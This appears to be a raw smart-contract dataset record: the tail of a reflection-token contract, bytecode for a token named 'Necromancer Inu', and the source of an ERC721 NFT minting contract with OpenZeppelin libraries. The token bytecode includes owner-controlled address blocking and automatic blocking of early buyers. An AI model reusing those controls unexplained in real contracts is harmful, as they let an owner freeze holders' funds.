tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf91461034c578063cba0e99614610361578063d00efb2f1461039a578063d543dbeb146103b0578063dd62ed3e146103d0578063e47d60601461041657600080fd5b80638da5cb5b146102a157806395d89b41146102c9578063a9059cbb146102f7578063b515566a14610317578063c3c8cd801461033757600080fd5b8063313ce567116100f2578063313ce5671461021b5780635932ead1146102375780636fc3eaec1461025757806370a082311461026c578063715018a61461028c57600080fd5b806306fdde031461013a578063095ea7b31461018457806318160ddd146101b457806323b872dd146101d9578063273123b7146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600f81526e4e6563726f6d616e63657220496e7560881b60208201525b60405161017b9190611bcb565b60405180910390f35b34801561019057600080fd5b506101a461019f366004611a5c565b61044f565b604051901515815260200161017b565b3480156101c057600080fd5b50670de0b6b3a76400005b60405190815260200161017b565b3480156101e557600080fd5b506101a46101f4366004611a1c565b610466565b34801561020557600080fd5b506102196102143660046119ac565b6104cf565b005b34801561022757600080fd5b506040516009815260200161017b565b34801561024357600080fd5b50610219610252366004611b4e565b610523565b34801561026357600080fd5b5061021961056b565b34801561027857600080fd5b506101cb6102873660046119ac565b610598565b34801561029857600080fd5b506102196105ba565b3480156102ad57600080fd5b506000546040516001600160a01b03909116815260200161017b565b3480156102d557600080fd5b506040805180820190915260058152644e4543524f60d81b602082015261016e565b34801561030357600080fd5b506101a4610312366004611a5c565b61062e565b34801561032357600080fd5b50610219610332366004611a87565b61063b565b34801561034357600080fd5b506102196106df565b34801561035857600080fd5b50610219610715565b34801561036d57600080fd5b506101a461037c3660046119ac565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a657600080fd5b506101cb60125481565b3480156103bc57600080fd5b506102196103cb366004611b86565b610ada565b3480156103dc57600080fd5b506101cb6103eb3660046119e4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042257600080fd5b506101a46104313660046119ac565b6001600160a01b03166000908152600a602052604090205460ff1690565b600061045c338484610bac565b5060015b92915050565b6000610473848484610cd0565b6104c584336104c085604051806060016040528060288152602001611d9c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c0565b610bac565b5060019392505050565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016104f990611c1e565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461054d5760405162461bcd60e51b81526004016104f990611c1e565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058b57600080fd5b47610595816111fa565b50565b6001600160a01b038116600090815260026020526040812054610460906112d1565b6000546001600160a01b031633146105e45760405162461bcd60e51b81526004016104f990611c1e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045c338484610cd0565b6000546001600160a01b031633146106655760405162461bcd60e51b81526004016104f990611c1e565b60005b81518110156106db576001600a600084848151811061069757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d381611d31565b915050610668565b5050565b600c546001600160a01b0316336001600160a01b0316146106ff57600080fd5b600061070a30610598565b905061059581611355565b6000546001600160a01b0316331461073f5760405162461bcd60e51b81526004016104f990611c1e565b601054600160a01b900460ff16156107995760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f9565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d53082670de0b6b3a7640000610bac565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084691906119c8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088e57600080fd5b505afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c691906119c8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094691906119c8565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061097681610598565b60008061098b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a279190611b9e565b505060108054660aa87bee5380006011554360125563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa257600080fd5b505af1158015610ab6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106db9190611b6a565b6000546001600160a01b03163314610b045760405162461bcd60e51b81526004016104f990611c1e565b60008111610b545760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104f9565b610b716064610b6b670de0b6b3a7640000846114fa565b90611579565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610c6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b60008111610df85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b6000546001600160a01b03848116911614801590610e2457506000546001600160a01b03838116911614155b1561116357601054600160b81b900460ff1615610f0b576001600160a01b0383163014801590610e5d57506001600160a01b0382163014155b8015610e775750600f546001600160a01b03848116911614155b8015610e915750600f546001600160a01b03838116911614155b15610f0b57600f546001600160a01b0316336001600160a01b03161480610ecb57506010546001600160a01b0316336001600160a01b0316145b610f0b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104f9565b601154811115610f1a57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5c57506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f785750336000908152600a602052604090205460ff16155b610f8157600080fd5b6010546001600160a01b038481169116148015610fac5750600f546001600160a01b03838116911614155b8015610fd157506001600160a01b03821660009081526005602052604090205460ff16155b8015610fe65750601054600160b81b900460ff165b15611034576001600160a01b0382166000908152600b6020526040902054421161100f57600080fd5b61101a42600f611cc3565b6001600160a01b0383166000908152600b60205260409020555b601254611042906001611cc3565b43116110f6576010546001600160a01b038481169116148015906110745750600f546001600160a01b03848116911614155b156110a1576001600160a01b0383166000908152600a60205260409020805460ff191660011790556110f6565b6010546001600160a01b038381169116148015906110cd5750600f546001600160a01b03838116911614155b156110f6576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061110130610598565b601054909150600160a81b900460ff1615801561112c57506010546001600160a01b03858116911614155b80156111415750601054600160b01b900460ff165b156111615761114f81611355565b47801561115f5761115f476111fa565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111a557506001600160a01b03831660009081526005602052604090205460ff165b156111ae575060005b6111ba848484846115bb565b50505050565b600081848411156111e45760405162461bcd60e51b81526004016104f99190611bcb565b5060006111f18486611d1a565b95945050505050565b600c546001600160a01b03166108fc611219600a610b6b8560046114fa565b6040518115909202916000818181858888f19350505050158015611241573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611261600a610b6b8560046114fa565b6040518115909202916000818181858888f19350505050158015611289573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112a9600a610b6b8560026114fa565b6040518115909202916000818181858888f193505050501580156106db573d6000803e3d6000fd5b60006006548211156113385760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f9565b60006113426115e7565b905061134e8382611579565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ab57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ff57600080fd5b505afa158015611413573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143791906119c8565b8160018151811061145857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461147e9130911684610bac565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b7908590600090869030904290600401611c53565b600060405180830381600087803b1580156114d157600080fd5b505af11580156114e5573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261150957506000610460565b60006115158385611cfb565b9050826115228583611cdb565b1461134e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b600061134e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061160a565b806115c8576115c8611638565b6115d384848461165b565b806111ba576111ba6002600855600a600955565b60008060006115f4611752565b90925090506116038282611579565b9250505090565b6000818361162b5760405162461bcd60e51b81526004016104f99190611bcb565b5060006111f18486611cdb565b6008541580156116485750600954155b1561164f57565b60006008819055600955565b60008060008060008061166d87611792565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061169f90876117ee565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116ce9086611830565b6001600160a01b0389166000908152600260205260409020556116f08161188f565b6116fa84836118d9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161173f91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061176d8282611579565b82101561178957505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117ae8a600854600f6118fd565b92509250925060006117be6115e7565b905060008060006117d18e87878761194c565b919e509c509a509598509396509194505050505091939550919395565b600061134e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c0565b60008061183d8385611cc3565b90508381101561134e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b60006118996115e7565b905060006118a783836114fa565b306000908152600260205260409020549091506118c49082611830565b30600090815260026020526040902055505050565b6006546118e690836117ee565b6006556007546118f69082611830565b6007555050565b60008080806119116064610b6b89896114fa565b905060006119246064610b6b8a896114fa565b9050600061193c826119368b866117ee565b906117ee565b9992985090965090945050505050565b600080808061195b88866114fa565b9050600061196988876114fa565b9050600061197788886114fa565b905060006119898261193686866117ee565b939b939a50919850919650505050505050565b80356119a781611d78565b919050565b6000602082840312156119bd578081fd5b813561134e81611d78565b6000602082840312156119d9578081fd5b815161134e81611d78565b600080604083850312156119f6578081fd5b8235611a0181611d78565b91506020830135611a1181611d78565b809150509250929050565b600080600060608486031215611a30578081fd5b8335611a3b81611d78565b92506020840135611a4b81611d78565b929592945050506040919091013590565b60008060408385031215611a6e578182fd5b8235611a7981611d78565b946020939093013593505050565b60006020808385031215611a99578182fd5b823567ffffffffffffffff80821115611ab0578384fd5b818501915085601f830112611ac3578384fd5b813581811115611ad557611ad5611d62565b8060051b604051601f19603f83011681018181108582111715611afa57611afa611d62565b604052828152858101935084860182860187018a1015611b18578788fd5b8795505b83861015611b4157611b2d8161199c565b855260019590950194938601938601611b1c565b5098975050505050505050565b600060208284031215611b5f578081fd5b813561134e81611d8d565b600060208284031215611b7b578081fd5b815161134e81611d8d565b600060208284031215611b97578081fd5b5035919050565b600080600060608486031215611bb2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bf757858101830151858201604001528201611bdb565b81811115611c085783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ca25784516001600160a01b031683529383019391830191600101611c7d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cd657611cd6611d4c565b500190565b600082611cf657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d1557611d15611d4c565b500290565b600082821015611d2c57611d2c611d4c565b500390565b6000600019821415611d4557611d45611d4c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059557600080fd5b801515811461059557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df1aaf12b47460cc38cccc5fb9e39e30e8d548b839fe3ca879c585c2df3a4ac464736f6c63430008040033
[ 13, 5, 11 ]
0xf1B4E7d982A1670488f3E341F930CC90c3B20Cd5
// SPDX-License-Identifier: MIT pragma solidity >=0.8.9 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract TeamPowerLevelERC721 is ERC721, Ownable, ReentrancyGuard { using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private supply; bytes32 public merkleRoot; mapping(address => bool) public whitelistClaimed; string public uriPrefix = ""; string public uriSuffix = ".json"; string public hiddenMetadataUri; uint256 public cost; uint256 public maxSupply; uint256 public maxMintAmountPerTx; bool public paused = true; bool public whitelistMintEnabled = false; bool public revealed = false; constructor( string memory _tokenName, string memory _tokenSymbol, uint256 _cost, uint256 _maxSupply, uint256 _maxMintAmountPerTx, string memory _hiddenMetadataUri ) ERC721(_tokenName, _tokenSymbol) { cost = _cost; maxSupply = _maxSupply; maxMintAmountPerTx = _maxMintAmountPerTx; setHiddenMetadataUri(_hiddenMetadataUri); } modifier mintCompliance(uint256 _mintAmount) { require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!"); require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!"); _; } modifier mintPriceCompliance(uint256 _mintAmount) { require(msg.value >= cost * _mintAmount, "Insufficient funds!"); _; } function totalSupply() public view returns (uint256) { return supply.current(); } function whitelistMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { // Verify whitelist requirements require(whitelistMintEnabled, "The whitelist sale is not enabled!"); require(!whitelistClaimed[msg.sender], "Address already claimed!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid proof!"); whitelistClaimed[msg.sender] = true; _mintLoop(msg.sender, _mintAmount); } function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) { require(!paused, "The contract is paused!"); _mintLoop(msg.sender, _mintAmount); } function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner { _mintLoop(_receiver, _mintAmount); } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = currentTokenId; ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { require( _exists(_tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return hiddenMetadataUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)) : ""; } function setRevealed(bool _state) public onlyOwner { revealed = _state; } function setCost(uint256 _cost) public onlyOwner { cost = _cost; } function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner { maxMintAmountPerTx = _maxMintAmountPerTx; } function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner { hiddenMetadataUri = _hiddenMetadataUri; } function setUriPrefix(string memory _uriPrefix) public onlyOwner { uriPrefix = _uriPrefix; } function setUriSuffix(string memory _uriSuffix) public onlyOwner { uriSuffix = _uriSuffix; } function setPaused(bool _state) public onlyOwner { paused = _state; } function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner { merkleRoot = _merkleRoot; } function setWhitelistMintEnabled(bool _state) public onlyOwner { whitelistMintEnabled = _state; } function withdraw() public onlyOwner nonReentrant { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } function _mintLoop(address _receiver, uint256 _mintAmount) internal { for (uint256 i = 0; i < _mintAmount; i++) { supply.increment(); _safeMint(_receiver, supply.current()); } } function _baseURI() internal view virtual override returns (string memory) { return uriPrefix; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual 